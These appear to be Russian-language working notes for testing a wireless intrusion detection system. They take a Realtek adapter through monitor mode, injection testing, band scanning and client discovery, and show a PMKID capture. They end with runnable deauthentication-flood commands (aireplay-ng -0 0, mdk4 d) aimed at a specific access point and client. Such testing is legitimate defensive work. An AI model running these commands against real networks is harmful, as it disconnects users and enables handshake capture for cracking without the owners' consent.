wips/wids test

sudo airmon-ng

Покажет доступные адаптеры, вывод команды:

┌──(zamiloff㉿kali)-[~]
└─$ sudo airmon-ng


PHY	Interface	Driver		Chipset

phy0	wlan0		iwlwifi		Intel Corporation Alder Lake-P PCH CNVi WiFi (rev 01)
phy3	wlan1		rtw88_8812au	Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter

sudo airmon-ng start wlan1

запустит режим мониторинга:

┌──(zamiloff㉿kali)-[~]
└─$ sudo airmon-ng start wlan1

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    697 NetworkManager
   2073 wpa_supplicant

PHY	Interface	Driver		Chipset

phy0	wlan0		iwlwifi		Intel Corporation Alder Lake-P PCH CNVi WiFi (rev 01)
phy2	wlan1		rtw88_8812au	Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
		(monitor mode enabled)

sudo aireplay-ng --test wlan1

Подтвердит возможности карты:

┌──(zamiloff㉿kali)-[~]
└─$ sudo aireplay-ng --test wlan1

17:51:23  Trying broadcast probe requests...
17:51:23  Injection is working!
17:51:25  Found 3 APs

17:51:25  Trying directed probe requests...
17:51:25  52:FF:20:F7:47:C6 - channel: 8 - ''
17:51:25  Ping (min/avg/max): 6.776ms/15.367ms/28.569ms Power: -47.13
17:51:25  30/30: 100%

17:51:25  50:FF:20:C7:47:C6 - channel: 8 - 'Keenetic-Spartak2'
17:51:26  Ping (min/avg/max): 10.476ms/14.321ms/19.574ms Power: -47.60
17:51:26  30/30: 100%

17:51:26  5C:F4:AB:D2:82:38 - channel: 11 - 'Stand_Alone'
17:51:27  Ping (min/avg/max): 4.726ms/35.047ms/45.785ms Power: -43.80
17:51:27  30/30: 100%

Для сканирования диапазонов 2.4, 5 ГГц или оба сразу:

sudo airodump-ng --band g wlan1

sudo airodump-ng --band a wlan1

sudo airodump-ng --band ag wlan1

Поделючаем клиента к сети:

display station ssid WIFI-SAP
Rf/WLAN: Radio ID/WLAN ID                                                     
Rx/Tx: link receive rate/link transmit rate(Mbps)                             
-----------------------------------------------------------------------------------------------
STA MAC          AP ID Ap name  Rf/WLAN  Band  Type  Rx/Tx      RSSI  VLAN  IP address            
-----------------------------------------------------------------------------------------------
44a3-bb61-af85   1     AP-02    1/1      5G    11ax  286/172    -52   2524  10.92.129.94           
-----------------------------------------------------------------------------------------------
Total: 1 2.4G: 0 5G: 1 6G: 0

Запускаем сканирование на 36 канале:

sudo airodump-ng -c 36 --essid WIFI-SAP wlan1

 CH 36 ][ Elapsed: 2 mins ][ 2026-07-31 08:35 ][ PMKID found: C8:9F:1A:05:C6:71 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 A4:17:8B:E5:AA:40  -67  59     1222        0    0  36   54   WPA2 CCMP   MGT  WIFI-SAP                                                                                                                                                      

 BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes
                                                                                                                                                
 A4:17:8B:E5:AA:40  44:A3:BB:61:AF:85  -39    0 - 6e     1      268         WIFI-SAP            

Атакуем:

sudo aireplay-ng -0 0 -a A4:17:8B:E5:AA:40 -c 44:A3:BB:61:AF:85 wlan1

или так:

sudo mdk4 wlan1 d -B A4:17:8B:E5:AA:40 -S 44:A3:BB:61:AF:85